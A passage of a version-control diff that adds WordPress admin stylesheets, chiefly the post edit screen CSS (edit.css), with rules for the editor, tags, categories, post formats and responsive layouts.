+	width: 25%;
+	text-align: center;
+}
+
+#media-upload a.wp-post-thumbnail {
+	margin: 0 20px;
+}
+
+#media-upload .widefat {
+	border-style: solid solid none;
+}
+
+.sorthelper {
+	height: 37px;
+	width: 623px;
+	display: block;
+}
+
+#gallery-settings th.label {
+	width: 160px;
+}
+
+#gallery-settings #basic th.label {
+	padding: 5px 5px 5px 0;
+}
+
+#gallery-settings .title {
+	clear: both;
+	padding: 0 0 3px;
+	font-size: 1.6em;
+	border-bottom: 1px solid #ddd;
+}
+
+h3.media-title  {
+	font-size: 1.6em;
+}
+
+h4.media-sub-title  {
+	border-bottom: 1px solid #ddd;
+	font-size: 1.3em;
+	margin: 12px;
+	padding: 0 0 3px;
+}
+
+#gallery-settings .title,
+h3.media-title,
+h4.media-sub-title {
+	font-family: Georgia,"Times New Roman",Times,serif;
+	font-weight: 400;
+	color: #5A5A5A;
+}
+
+#gallery-settings .describe td {
+	vertical-align: middle;
+	height: 3em;
+}
+
+#gallery-settings .describe th.label {
+	padding-top: .5em;
+	text-align: left;
+}
+
+#gallery-settings .describe {
+	padding: 5px;
+	width: 100%;
+	clear: both;
+	cursor: default;
+	background: #fff;
+}
+
+#gallery-settings .describe select {
+	width: 15em;
+}
+
+#gallery-settings .describe select option,
+#gallery-settings .describe td {
+	padding: 0;
+}
+
+#gallery-settings label,
+#gallery-settings legend {
+	font-size: 13px;
+	color: #444;
+	margin-right: 15px;
+}
+
+#gallery-settings .align .field label {
+	margin: 0 1em 0 3px;
+}
+
+#gallery-settings p.ml-submit {
+	border-top: 1px solid #ddd;
+}
+
+#gallery-settings select#columns {
+	width: 6em;
+}
+
+#sort-buttons {
+	font-size: 0.8em;
+	margin: 3px 25px -8px 0;
+	text-align: right;
+	max-width: 625px;
+}
+
+#sort-buttons a {
+	text-decoration: none;
+}
+
+#sort-buttons #asc,
+#sort-buttons #showall {
+	padding-left: 5px;
+}
+
+#sort-buttons span {
+	margin-right: 25px;
+}
+
+p.media-types {
+	margin: 0;
+	padding: 1em;
+}
+
+p.media-types-required-info {
+	padding-top: 0;
+}
+
+tr.not-image {
+	display: none;
+}
+
+table.not-image tr.not-image {
+	display: table-row;
+}
+
+table.not-image tr.image-only {
+	display: none;
+}
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+
+	.image-align-none-label {
+		background-image: url(../images/align-none-2x.png?ver=20120916);
+		background-size: 21px 15px;
+	}
+
+	.image-align-left-label {
+		background-image: url(../images/align-left-2x.png?ver=20120916);
+		background-size: 22px 15px;
+	}
+
+	.image-align-center-label {
+		background-image: url(../images/align-center-2x.png?ver=20120916);
+		background-size: 21px 15px;
+	}
+
+	.image-align-right-label {
+		background-image: url(../images/align-right-2x.png?ver=20120916);
+		background-size: 22px 15px;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/edit.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/edit.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/edit.css	(revision 56912)
@@ -0,0 +1,1669 @@
+#poststuff {
+	padding-top: 10px;
+	min-width: 763px;
+}
+
+#poststuff #post-body {
+	padding: 0;
+}
+
+#poststuff .postbox-container {
+	width: 100%;
+}
+
+#poststuff #post-body.columns-2 {
+	margin-right: 300px;
+}
+
+/*------------------------------------------------------------------------------
+  11.0 - Write/Edit Post Screen
+------------------------------------------------------------------------------*/
+
+#show-comments {
+	overflow: hidden;
+}
+
+#save-action .spinner,
+#show-comments a {
+	float: left;
+}
+
+#show-comments .spinner {
+	float: none;
+	margin-top: 0;
+}
+
+#lost-connection-notice .spinner {
+	visibility: visible;
+	float: left;
+	margin: 0 5px 0 0;
+}
+
+#titlediv {
+	position: relative;
+}
+
+#titlediv label {
+	cursor: text;
+}
+
+#titlediv div.inside {
+	margin: 0;
+}
+
+#poststuff #titlewrap {
+	border: 0;
+	padding: 0;
+}
+
+#titlediv #title {
+	padding: 3px 8px;
+	font-size: 1.7em;
+	line-height: 100%;
+	height: 1.7em;
+	width: 100%;
+	outline: none;
+	margin: 0 0 3px;
+	background-color: #fff;
+}
+
+#titlediv #title-prompt-text {
+	color: #72777c;
+	position: absolute;
+	font-size: 1.7em;
+	padding: 11px 10px;
+}
+
+input#link_description,
+input#link_url {
+	width: 98%;
+}
+
+#pending {
+	background: 0 none;
+	border: 0 none;
+	padding: 0;
+	font-size: 11px;
+	margin-top: -1px;
+}
+
+#edit-slug-box,
+#comment-link-box {
+	line-height: 24px;
+	min-height: 25px; /* Yes, line-height + 1 */
+	margin-top: 5px;
+	padding: 0 10px;
+	color: #666;
+}
+
+#edit-slug-box .cancel {
+	margin-right: 10px;
+	padding: 0;
+	font-size: 11px;
+}
+
+#comment-link-box {
+	margin: 5px 0;
+	padding: 0 5px;
+}
+
+#editable-post-name-full {
+	display: none;
+}
+
+#editable-post-name {
+	font-weight: 600;
+}
+
+#editable-post-name input {
+	font-size: 13px;
+	font-weight: 400;
+	height: 24px;
+	margin: 0;
+	width: 16em;
+}
+
+.postarea h3 label {
+	float: left;
+}
+
+body.post-new-php .submitbox .submitdelete {
+	display: none;
+}
+
+.submitbox .submit a:hover {
+	text-decoration: underline;
+}
+
+.submitbox .submit input {
+	margin-bottom: 8px;
+	margin-right: 4px;
+	padding: 6px;
+}
+
+#post-status-select {
+	margin-top: 3px;
+}
+
+/* Post Screen */
+#post-body #normal-sortables {
+	min-height: 50px;
+}
+
+.postbox {
+	position: relative;
+	min-width: 255px;
+	border: 1px solid #e5e5e5;
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	background: #fff;
+}
+
+#trackback_url {
+	width: 99%;
+}
+
+#normal-sortables .postbox .submit {
+	background: transparent none;
+	border: 0 none;
+	float: right;
+	padding: 0 12px;
+	margin:0;
+}
+
+.category-add input[type="text"],
+.category-add select {
+	width: 100%;
+	max-width: 260px;
+	vertical-align: baseline;
+}
+
+#side-sortables .category-add input[type="text"],
+#side-sortables .category-add select {
+	margin: 0 0 1em;
+}
+
+ul.category-tabs li,
+#side-sortables .add-menu-item-tabs li,
+.wp-tab-bar li {
+	display: inline;
+	line-height: 1.35em;
+}
+
+.no-js .category-tabs li.hide-if-no-js {
+	display: none;
+}
+
+.category-tabs a,
+#side-sortables .add-menu-item-tabs a,
+.wp-tab-bar a {
+	text-decoration: none;
+}
+
+/* @todo: do these really need to be so specific? */
+#side-sortables .category-tabs .tabs a,
+#side-sortables .add-menu-item-tabs .tabs a,
+.wp-tab-bar .wp-tab-active a,
+#post-body ul.category-tabs li.tabs a,
+#post-body ul.add-menu-item-tabs li.tabs a {
+	color: #32373c;
+}
+
+.category-tabs {
+	margin: 8px 0 5px;
+}
+
+/* Back-compat for pre-4.4 */
+#category-adder h4 {
+    margin: 0;
+}
+
+.taxonomy-add-new {
+	display: inline-block;
+	margin: 10px 0;
+	font-weight: 600;
+}
+
+#side-sortables .add-menu-item-tabs,
+.wp-tab-bar {
+	margin-bottom: 3px;
+}
+
+#normal-sortables .postbox #replyrow .submit {
+	float: none;
+	margin: 0;
+	padding: 5px 7px 10px;
+	overflow: hidden;
+}
+
+#side-sortables .submitbox .submit input,
+#side-sortables .submitbox .submit .preview,
+#side-sortables .submitbox .submit a.preview:hover {
+	border: 0 none;
+}
+
+/* @todo: make this a more generic class */
+ul.category-tabs,
+ul.add-menu-item-tabs,
+ul.wp-tab-bar {
+	margin-top: 12px;
+}
+
+ul.category-tabs li,
+ul.add-menu-item-tabs li {
+	border: solid 1px transparent;
+	position: relative;
+}
+
+ul.category-tabs li.tabs,
+ul.add-menu-item-tabs li.tabs,
+.wp-tab-active {
+	border: 1px solid #ddd;
+	border-bottom-color: #fdfdfd;
+	background-color: #fdfdfd;
+}
+
+ul.category-tabs li,
+ul.add-menu-item-tabs li,
+ul.wp-tab-bar li {
+	padding: 3px 5px 6px;
+}
+
+#set-post-thumbnail {
+	display: inline-block;
+	max-width: 100%;
+}
+
+#postimagediv .inside img {
+	max-width: 100%;
+	height: auto;
+	width: auto;
+	vertical-align: top;
+	background-image: linear-gradient(45deg, #c4c4c4 25%, transparent 25%, transparent 75%, #c4c4c4 75%, #c4c4c4), linear-gradient(45deg, #c4c4c4 25%, transparent 25%, transparent 75%, #c4c4c4 75%, #c4c4c4);
+	background-position: 0 0, 10px 10px;
+	background-size: 20px 20px;
+}
+
+form#tags-filter {
+	position: relative;
+}
+
+/* Global classes */
+.wp-hidden-children .wp-hidden-child,
+.ui-tabs-hide {
+	display: none;
+}
+
+#post-body .tagsdiv #newtag {
+	margin-right: 5px;
+	width: 16em;
+}
+
+#side-sortables input#post_password {
+	width: 94%
+}
+
+#side-sortables .tagsdiv #newtag {
+	width: 68%;
+}
+
+#post-status-info {
+	width: 100%;
+	border-spacing: 0;
+	border: 1px solid #e5e5e5;
+	border-top: none;
+	background-color: #f7f7f7;
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	z-index: 999;
+}
+
+#post-status-info td {
+	font-size: 12px;
+}
+
+.autosave-info {
+	padding: 2px 10px;
+	text-align: right;
+}
+
+#editorcontent #post-status-info {
+	border: none;
+}
+
+#content-resize-handle {
+	background: transparent url(../images/resize.gif) no-repeat scroll right bottom;
+	width: 12px;
+	cursor: row-resize;
+}
+
+/*rtl:ignore*/
+.rtl #content-resize-handle {
+	background-image: url(../images/resize-rtl.gif);
+	background-position: left bottom;
+}
+
+.wp-editor-expand #content-resize-handle {
+	display: none;
+}
+
+#postdivrich #content {
+	resize: none;
+}
+
+#wp-word-count {
+	display: block;
+	padding: 2px 10px;
+}
+
+#wp-content-editor-container {
+	position: relative;
+}
+
+.wp-editor-expand #wp-content-editor-tools {
+	z-index: 1000;
+	border-bottom: 1px solid #e5e5e5;
+}
+
+.wp-editor-expand #wp-content-editor-container {
+	box-shadow: none;
+	margin-top: -1px;
+}
+
+.wp-editor-expand #wp-content-editor-container {
+	border-bottom: 0 none;
+}
+
+.wp-editor-expand div.mce-statusbar {
+	z-index: 1;
+}
+
+.wp-editor-expand #post-status-info {
+	border-top: 1px solid #e5e5e5;
+}
+
+.wp-editor-expand div.mce-toolbar-grp {
+	z-index: 999;
+}
+
+/* TinyMCE native fullscreen mode override */
+.mce-fullscreen #wp-content-wrap .mce-menubar,
+.mce-fullscreen #wp-content-wrap .mce-toolbar-grp,
+.mce-fullscreen #wp-content-wrap .mce-edit-area,
+.mce-fullscreen #wp-content-wrap .mce-statusbar {
+	position: static !important;
+	width: auto !important;
+	padding: 0 !important;
+}
+
+.mce-fullscreen #wp-content-wrap .mce-statusbar {
+	visibility: visible !important;
+}
+
+.mce-fullscreen #wp-content-wrap .mce-tinymce .mce-wp-dfw {
+	display: none;
+}
+
+.post-php.mce-fullscreen #wpadminbar,
+.mce-fullscreen #wp-content-wrap .mce-wp-dfw {
+	display: none;
+}
+/* End TinyMCE native fullscreen mode override */
+
+#wp-content-editor-tools {
+	background-color: #f1f1f1;
+	padding-top: 20px;
+}
+
+#poststuff #post-body.columns-2 #side-sortables {
+	width: 280px;
+}
+
+#timestampdiv select {
+	height: 21px;
+	line-height: 14px;
+	padding: 0;
+	vertical-align: top;
+	font-size: 12px;
+}
+
+#aa, #jj, #hh, #mn {
+	padding: 1px;
+	font-size: 12px;
+}
+
+#jj, #hh, #mn {
+	width: 2em;
+}
+
+#aa {
+	width: 3.4em;
+}
+
+.curtime #timestamp {
+	padding: 2px 0 1px 0;
+	display: inline !important;
+	height: auto !important;
+}
+
+#post-body .misc-pub-post-status:before,
+#post-body #visibility:before,
+.curtime #timestamp:before,
+#post-body .misc-pub-revisions:before,
+span.wp-media-buttons-icon:before {
+	color: #82878c;
+}
+
+#post-body .misc-pub-post-status:before,
+#post-body #visibility:before,
+.curtime #timestamp:before,
+#post-body .misc-pub-revisions:before {
+	font: normal 20px/1 dashicons;
+	speak: none;
+	display: inline-block;
+	margin-left: -1px;
+	padding-right: 3px;
+	vertical-align: top;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+#post-body .misc-pub-post-status:before {
+	content: "\f173";
+}
+
+#post-body #visibility:before {
+	content: "\f177";
+}
+
+.curtime #timestamp:before {
+	content: "\f145";
+	position: relative;
+	top: -1px;
+}
+
+#post-body .misc-pub-revisions:before {
+	content: "\f321";
+}
+
+#timestampdiv {
+	padding-top: 5px;
+	line-height: 23px;
+}
+
+#timestampdiv p {
+	margin: 8px 0 6px;
+}
+
+#timestampdiv input {
+	border-width: 1px;
+	border-style: solid;
+}
+
+.notification-dialog {
+	position: fixed;
+	top: 30%;
+	max-height: 70%;
+	left: 50%;
+	width: 450px;
+	margin-left: -225px;
+	background: #fff;
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	line-height: 1.5;
+	z-index: 1000005;
+	overflow-y: auto;
+}
+
+.notification-dialog-background {
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	z-index: 1000000;
+}
+
+#post-lock-dialog .post-locked-message,
+#post-lock-dialog .post-taken-over {
+	margin: 25px;
+}
+
+#post-lock-dialog .post-locked-message a.button,
+#file-editor-warning .button {
+	margin-right: 10px;
+}
+
+#post-lock-dialog .post-locked-avatar {
+	float: left;
+	margin: 0 20px 20px 0;
+}
+
+#post-lock-dialog .wp-tab-first {
+	outline: 0;
+}
+
+#post-lock-dialog .locked-saving img {
+	float: left;
+	margin-right: 3px;
+}
+
+#post-lock-dialog.saving .locked-saving,
+#post-lock-dialog.saved .locked-saved {
+	display: inline;
+}
+
+#excerpt {
+	display: block;
+	margin: 12px 0 0;
+	height: 4em;
+	width: 100%;
+}
+
+.tagchecklist {
+	margin-left: 14px;
+	font-size: 12px;
+	overflow: auto;
+}
+
+.tagchecklist br {
+	display: none;
+}
+
+.tagchecklist strong {
+	margin-left: -8px;
+	position: absolute;
+}
+
+.tagchecklist > li {
+	float: left;
+	margin-right: 25px;
+	font-size: 13px;
+	line-height: 1.8em;
+	cursor: default;
+	max-width: 100%;
+	overflow: hidden;
+	text-overflow: ellipsis;
+}
+
+.tagchecklist .ntdelbutton {
+	position: absolute;
+	width: 24px;
+	height: 24px;
+	border: none;
+	margin: 0 0 0 -19px;
+	padding: 0;
+	background: none;
+	cursor: pointer;
+	text-indent: 0;
+}
+
+#poststuff h3.hndle, /* Back-compat for pre-4.4 */
+#poststuff .stuffbox > h3, /* Back-compat for pre-4.4 */
+#poststuff h2 {
+	font-size: 14px;
+	padding: 8px 12px;
+	margin: 0;
+	line-height: 1.4;
+}
+
+#poststuff .inside {
+	margin: 6px 0 0 0;
+}
+
+#poststuff .inside #parent_id,
+#poststuff .inside #page_template {
+	max-width: 100%;
+}
+
+.ie8 #poststuff .inside #parent_id,
+.ie8 #poststuff .inside #page_template {
+	width: 250px;
+}
+
+.post-attributes-label-wrapper {
+	margin-bottom: 0.5em;
+}
+
+.post-attributes-label {
+	vertical-align: baseline;
+	font-weight: 600;
+}
+
+#post-visibility-select {
+	line-height: 1.5em;
+	margin-top: 3px;
+}
+
+#linksubmitdiv .inside, /* Old Link Manager back-compat. */
+#poststuff #submitdiv .inside {
+	margin: 0;
+	padding: 0;
+}
+
+#post-body-content,
+.edit-form-section {
+ 	margin-bottom: 20px;
+}
+
+/* Suggested text for privacy policy */
+.wp-privacy-policy-guide {
+	max-width: 1000px;
+}
+
+.privacy-text-box {
+	width: calc(100% - 260px);
+}
+
+.privacy-text-box-toc {
+	float: right;
+	width: 250px;
+	background-color: #fff;
+}
+
+.privacy-text-box-toc p {
+	margin: 0;
+	padding: 0.7em 1em;
+	border-bottom: 1px solid #eee;
+}
+
+.privacy-text-box-toc ol {
+	margin-left: 2em;
+}
+
+.wp-privacy-policy-guide h3 {
+	font-size: 1.2em;
+	margin: 1em 0 0.5em;
+}
+
+.privacy-text-section .privacy-text-copy {
+	float: right;
+}
+
+.privacy-text-section {
+	position: relative;
+	border-top: 1px solid #e3e3e3;
+}
+
+.privacy-text-box-head,
+.privacy-text-section.text-removed {
+	padding-bottom: 12px;
+}
+
+.text-removed .policy-text {
+	font-style: italic;
+	color: #666;
+	font-weight: 600;
+}
+
+.privacy-text-actions {
+	height: 32px;
+	line-height: 32px;
+	padding-bottom: 6px;
+}
+
+.wp-privacy-policy-guide .policy-text h2 {
+	margin: 1.2em 0 1em;
+	padding: 0;
+}
+
+.suggested-policy-content {
+	font-style: italic;
+}
+
+.privacy-text-section a.return-to-top {
+	float: right;
+	margin-right: -250px;
+	margin-top: 6px;
+}
+
+.hide-privacy-policy-tutorial .privacy-policy-tutorial {
+	visibility: hidden;
+}
+
+.wp-suggested-text p {
+	font-style: italic;
+}
+
+.wp-suggested-text p.privacy-policy-tutorial {
+	font-style: normal;
+}
+
+.notice.wp-pp-notice {
+	margin: 15px 0 3px;
+}
+
+/*------------------------------------------------------------------------------
+  11.1 - Custom Fields
+------------------------------------------------------------------------------*/
+
+#postcustomstuff thead th {
+	padding: 5px 8px 8px;
+	background-color: #f1f1f1;
+}
+
+#postcustom #postcustomstuff .submit {
+	border: 0 none;
+	float: none;
+	padding: 0 8px 8px;
+}
+
+#side-sortables #postcustom #postcustomstuff .submit {
+	margin: 0;
+	padding: 0;
+}
+
+#side-sortables #postcustom #postcustomstuff #the-list textarea {
+	height: 85px;
+}
+
+#side-sortables #postcustom #postcustomstuff td.left input,
+#side-sortables #postcustom #postcustomstuff td.left select,
+#side-sortables #postcustomstuff #newmetaleft a {
+	margin: 3px 3px 0;
+}
+
+#postcustomstuff table {
+	margin: 0;
+	width: 100%;
+	border: 1px solid #ddd;
+	border-spacing: 0;
+	background-color: #f9f9f9;
+}
+
+#postcustomstuff tr {
+	vertical-align: top;
+}
+
+#postcustomstuff table input,
+#postcustomstuff table select,
+#postcustomstuff table textarea {
+	width: 96%;
+	margin: 8px;
+}
+
+#side-sortables #postcustomstuff table input,
+#side-sortables #postcustomstuff table select,
+#side-sortables #postcustomstuff table textarea {
+	margin: 3px;
+}
+
+#postcustomstuff th.left,
+#postcustomstuff td.left {
+	width: 38%;
+}
+
+#postcustomstuff .submit input {
+	margin: 0;
+	width: auto;
+}
+
+#postcustomstuff #newmetaleft a {
+	display: inline-block;
+	margin: 0 8px 8px;
+	text-decoration: none;
+}
+
+.no-js #postcustomstuff #enternew {
+	display: none;
+}
+
+#post-body-content .compat-attachment-fields {
+	margin-bottom: 20px;
+}
+
+.compat-attachment-fields th {
+	padding-top: 5px;
+	padding-right: 10px;
+}
+
+/*------------------------------------------------------------------------------
+  11.3 - Featured Images
+------------------------------------------------------------------------------*/
+
+#select-featured-image {
+	padding: 4px 0;
+	overflow: hidden;
+}
+
+#select-featured-image img {
+	max-width: 100%;
+	height: auto;
+	margin-bottom: 10px;
+}
+
+#select-featured-image a {
+	float: left;
+	clear: both;
+}
+
+#select-featured-image .remove {
+	display: none;
+	margin-top: 10px;
+}
+
+.js #select-featured-image.has-featured-image .remove {
+	display: inline-block;
+}
+
+.no-js #select-featured-image .choose {
+	display: none;
+}
+
+/*------------------------------------------------------------------------------
+  11.4 - Post formats
+------------------------------------------------------------------------------*/
+
+.post-state-format {
+	overflow: hidden;
+	display: inline-block;
+	vertical-align: middle;
+	height: 20px;
+	width: 20px;
+	margin-right: 5px;
+	margin-top: -4px;
+}
+
+.post-state-format:before {
+	display: block;
+	height: 20px;
+	width: 20px;
+	font: normal 20px/1 dashicons !important;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.post-state-format:before,
+.post-format-icon:before {
+	color: #ddd;
+	transition: all .1s ease-in-out;
+}
+
+a.post-state-format:hover:before,
+a.post-format-icon:hover:before {
+	color: #00a0d2;
+}
+
+#post-formats-select {
+	line-height: 2em;
+}
+
+#post-formats-select .post-format-icon:before {
+	top: 5px;
+}
+
+input.post-format {
+	margin-top: 1px;
+}
+
+label.post-format-icon {
+	margin-left: 0px;
+	padding: 2px 0 2px 0px;
+}
+
+.post-format-icon:before {
+	position: relative;
+	display: inline-block;
+	margin-right: 7px;
+	font: normal 20px/1 dashicons;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.post-state-format.post-format-standard:before,
+.post-format-icon.post-format-standard:before,
+a.post-state-format.format-standard:before {
+	content: "\f109";
+}
+
+.post-state-format.post-format-image:before,
+.post-format-icon.post-format-image:before,
+a.post-state-format.format-image:before {
+	content: "\f128";
+}
+
+.post-state-format.post-format-gallery:before,
+.post-format-icon.post-format-gallery:before,
+a.post-state-format.format-gallery:before {
+	content: "\f161";
+}
+
+.post-state-format.post-format-audio:before,
+.post-format-icon.post-format-audio:before,
+a.post-state-format.format-audio:before {
+	content: "\f127";
+}
+
+.post-state-format.post-format-video:before,
+.post-format-icon.post-format-video:before,
+a.post-state-format.format-video:before {
+	content: "\f126";
+}
+
+.post-state-format.post-format-chat:before,
+.post-format-icon.post-format-chat:before,
+a.post-state-format.format-chat:before {
+	content: "\f125";
+}
+
+.post-state-format.post-format-status:before,
+.post-format-icon.post-format-status:before,
+a.post-state-format.format-status:before {
+	content: "\f130";
+}
+
+.post-state-format.post-format-aside:before,
+.post-format-icon.post-format-aside:before,
+a.post-state-format.format-aside:before {
+	content: "\f123";
+}
+
+.post-state-format.post-format-quote:before,
+.post-format-icon.post-format-quote:before,
+a.post-state-format.format-quote:before {
+	content: "\f122";
+}
+
+.post-state-format.post-format-link:before,
+.post-format-icon.post-format-link:before,
+a.post-state-format.format-link:before {
+	content: "\f103";
+}
+
+/*------------------------------------------------------------------------------
+  12.0 - Categories
+------------------------------------------------------------------------------*/
+
+.category-adder {
+	margin-left: 120px;
+	padding: 4px 0;
+}
+
+.category-adder h4 {
+	margin: 0 0 8px;
+}
+
+#side-sortables .category-adder {
+	margin: 0;
+}
+
+.wp-tab-panel,
+.categorydiv div.tabs-panel,
+.customlinkdiv div.tabs-panel,
+.posttypediv div.tabs-panel,
+.taxonomydiv div.tabs-panel {
+	min-height: 42px;
+	max-height: 200px;
+	overflow: auto;
+	padding: 0 0.9em;
+	border: solid 1px #ddd;
+	background-color: #fdfdfd;
+}
+
+div.tabs-panel-active {
+	display:block;
+}
+
+div.tabs-panel-inactive {
+	display:none;
+}
+
+#front-page-warning,
+#front-static-pages ul,
+ul.export-filters,
+.inline-editor ul.cat-checklist ul,
+.categorydiv ul.categorychecklist ul,
+.customlinkdiv ul.categorychecklist ul,
+.posttypediv ul.categorychecklist ul,
+.taxonomydiv ul.categorychecklist ul {
+	margin-left: 18px;
+}
+
+ul.categorychecklist li {
+	margin: 0;
+	padding: 0;
+	line-height: 22px;
+	word-wrap: break-word;
+}
+
+.categorydiv .tabs-panel,
+.customlinkdiv .tabs-panel,
+.posttypediv .tabs-panel,
+.taxonomydiv .tabs-panel {
+	border-width: 3px;
+	border-style: solid;
+}
+
+.form-wrap label {
+	display: block;
+	padding: 2px 0;
+}
+
+.form-field input[type="text"],
+.form-field input[type="password"],
+.form-field input[type="email"],
+.form-field input[type="number"],
+.form-field input[type="search"],
+.form-field input[type="tel"],
+.form-field input[type="url"],
+.form-field textarea {
+	border-style: solid;
+	border-width: 1px;
+	width: 95%;
+}
+
+p.description,
+.form-wrap p {
+	margin: 2px 0 5px;
+	color: #666;
+}
+
+p.help,
+p.description,
+span.description,
+.form-wrap p {
+	font-size: 13px;
+	font-style: italic;
+}
+
+.form-wrap .form-field {
+	margin: 1em 0;
+	padding: 0;
+}
+
+.form-wrap .form-field #parent {
+	max-width: 100%;
+}
+
+.col-wrap h2 {
+	margin: 12px 0;
+	font-size: 1.1em;
+}
+
+.col-wrap p.submit {
+	margin-top: -10px;
+}
+
+.edit-term-notes {
+	margin-top: 2em;
+}
+
+/*------------------------------------------------------------------------------
+  13.0 - Tags
+------------------------------------------------------------------------------*/
+
+#poststuff .tagsdiv .howto {
+	margin: 0 0 6px 0;
+}
+
+.ajaxtag .newtag {
+	position: relative;
+}
+
+.tagsdiv .newtag {
+	width: 180px;
+}
+
+.tagsdiv .the-tags {
+	display: block;
+	height: 60px;
+	margin: 0 auto;
+	overflow: auto;
+	width: 260px;
+}
+
+#post-body-content .tagsdiv .the-tags {
+	margin: 0 5px;
+}
+
+p.popular-tags {
+	border: none;
+	line-height: 2em;
+	padding: 8px 12px 12px;
+	text-align: justify;
+}
+
+p.popular-tags a {
+	padding: 0 3px;
+}
+
+.tagcloud {
+	width: 97%;
+	margin: 0 0 40px;
+	text-align: justify;
+}
+
+.tagcloud h2 {
+	margin: 2px 0 12px;
+}
+
+.the-tagcloud ul {
+	margin: 0;
+}
+
+.the-tagcloud ul li {
+	display: inline-block;
+}
+
+/* Suggest.js autocomplete, no more used by core. */
+.ac_results {
+	display: none;
+	margin: -1px 0 0;
+	padding: 0;
+	list-style: none;
+	position: absolute;
+	z-index: 10000;
+	border: 1px solid #5b9dd9;
+	background-color: #fff;
+}
+
+.wp-customizer .ac_results {
+	z-index: 500000;
+}
+
+.ac_results li {
+	margin: 0;
+	padding: 5px 10px;
+	white-space: nowrap;
+	text-align: left;
+}
+
+.ac_results .ac_over,
+.ac_over .ac_match {
+	background-color: #0073aa;
+	color: #fff;
+	cursor: pointer;
+}
+
+.ac_match {
+	text-decoration: underline;
+}
+
+#edittag {
+	max-width: 800px;
+}
+
+.edit-tag-actions {
+	margin-top: 20px;
+	overflow: hidden;
+	padding: 10px;
+	margin-right: 10px;
+}
+
+/* Comments */
+
+.comment-php .wp-editor-area {
+	height: 200px;
+}
+
+.comment-ays th,
+.comment-ays td {
+	padding: 10px 15px;
+}
+
+.comment-ays .comment-content ul {
+	list-style: initial;
+	margin-left: 2em;
+}
+
+.comment-ays .comment-content a[href]:after {
+	content: '(' attr( href ) ')';
+	display: inline-block;
+	padding: 0 4px;
+	color: #72777C;
+	font-size: 13px;
+	word-break: break-all;
+}
+
+.comment-ays .comment-content p.edit-comment {
+	margin-top: 10px;
+}
+
+.comment-ays .comment-content p.edit-comment a[href]:after {
+	content: '';
+	padding: 0;
+}
+
+.comment-ays-submit .button-cancel {
+	margin-left: 1em;
+}
+
+.trash-undo-inside,
+.spam-undo-inside {
+	margin: 1px 8px 1px 0;
+	line-height: 16px;
+}
+
+.spam-undo-inside .avatar,
+.trash-undo-inside .avatar {
+	height: 20px;
+	width: 20px;
+	margin-right: 8px;
+	vertical-align: middle;
+}
+
+.stuffbox .editcomment {
+	clear: none;
+}
+
+#comment-status-radio p {
+	margin: 3px 0 5px;
+}
+
+#comment-status-radio input {
+	margin: 2px 3px 5px 0;
+	vertical-align: middle;
+}
+
+#comment-status-radio label {
+	padding: 5px 0;
+}
+
+/* links tables */
+table.links-table {
+	width: 100%;
+	border-spacing: 0;
+}
+
+.links-table th {
+	font-weight: 400;
+	text-align: left;
+	vertical-align: top;
+	min-width: 80px;
+	width: 20%;
+	word-wrap: break-word;
+}
+
+.links-table th,
+.links-table td {
+	padding: 5px 0;
+}
+
+.links-table td label {
+	margin-right: 8px;
+}
+
+.links-table td input[type="text"],
+.links-table td textarea {
+	width: 100%;
+}
+
+.links-table #link_rel {
+	max-width: 280px;
+}
+
+/* DFW 2
+-------------------------------------------------------------- */
+
+#wp-content-wrap .mce-wp-dfw,
+#qt_content_dfw {
+	display: none;
+}
+
+.wp-editor-expand #wp-content-wrap .mce-wp-dfw,
+.wp-editor-expand #qt_content_dfw {
+	display: inline-block;
+}
+
+.focus-on .wrap > h1,
+.focus-on .page-title-action,
+.focus-on #wpfooter,
+.focus-on .postbox-container > *,
+.focus-on div.updated,
+.focus-on div.error,
+.focus-on div.notice,
+.focus-on .update-nag,
+.focus-on #wp-toolbar,
+.focus-on #screen-meta-links,
+.focus-on #screen-meta {
+	opacity: 0;
+	transition-duration: 0.6s;
+	transition-property: opacity;
+	transition-timing-function: ease-in-out;
+}
+
+.focus-on #wp-toolbar {
+	opacity: 0.3;
+}
+
+.focus-off .wrap > h1,
+.focus-off .page-title-action,
+.focus-off #wpfooter,
+.focus-off .postbox-container > *,
+.focus-off div.updated,
+.focus-off div.error,
+.focus-off div.notice,
+.focus-off .update-nag,
+.focus-off #wp-toolbar,
+.focus-off #screen-meta-links,
+.focus-off #screen-meta {
+	opacity: 1;
+	transition-duration: 0.2s;
+	transition-property: opacity;
+	transition-timing-function: ease-in-out;
+}
+
+.focus-off #wp-toolbar {
+	-webkit-transform: translate(0, 0);
+}
+
+.focus-on #adminmenuback,
+.focus-on #adminmenuwrap {
+	transition-duration: 0.6s;
+	transition-property: transform;
+	transition-timing-function: ease-in-out;
+}
+
+.focus-on #adminmenuback,
+.focus-on #adminmenuwrap {
+	transform: translateX( -100% );
+}
+
+.focus-off #adminmenuback,
+.focus-off #adminmenuwrap {
+	transform: translateX( 0 );
+	transition-duration: 0.2s;
+	transition-property: transform;
+	transition-timing-function: ease-in-out;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	#content-resize-handle,
+	#post-body .wp_themeSkin .mceStatusbar a.mceResize {
+		background: transparent url(../images/resize-2x.gif) no-repeat scroll right bottom;
+		background-size: 11px 11px;
+	}
+
+	/*rtl:ignore*/
+	.rtl #content-resize-handle,
+	.rtl #post-body .wp_themeSkin .mceStatusbar a.mceResize {
+		background-image: url(../images/resize-rtl-2x.gif);
+		background-position: left bottom;
+	}
+}
+
+/* one column on the post write/edit screen */
+@media only screen and (max-width: 850px) {
+	#poststuff {
+		min-width: 0;
+	}
+
+	#wpbody-content #poststuff #post-body {
+		margin: 0;
+	}
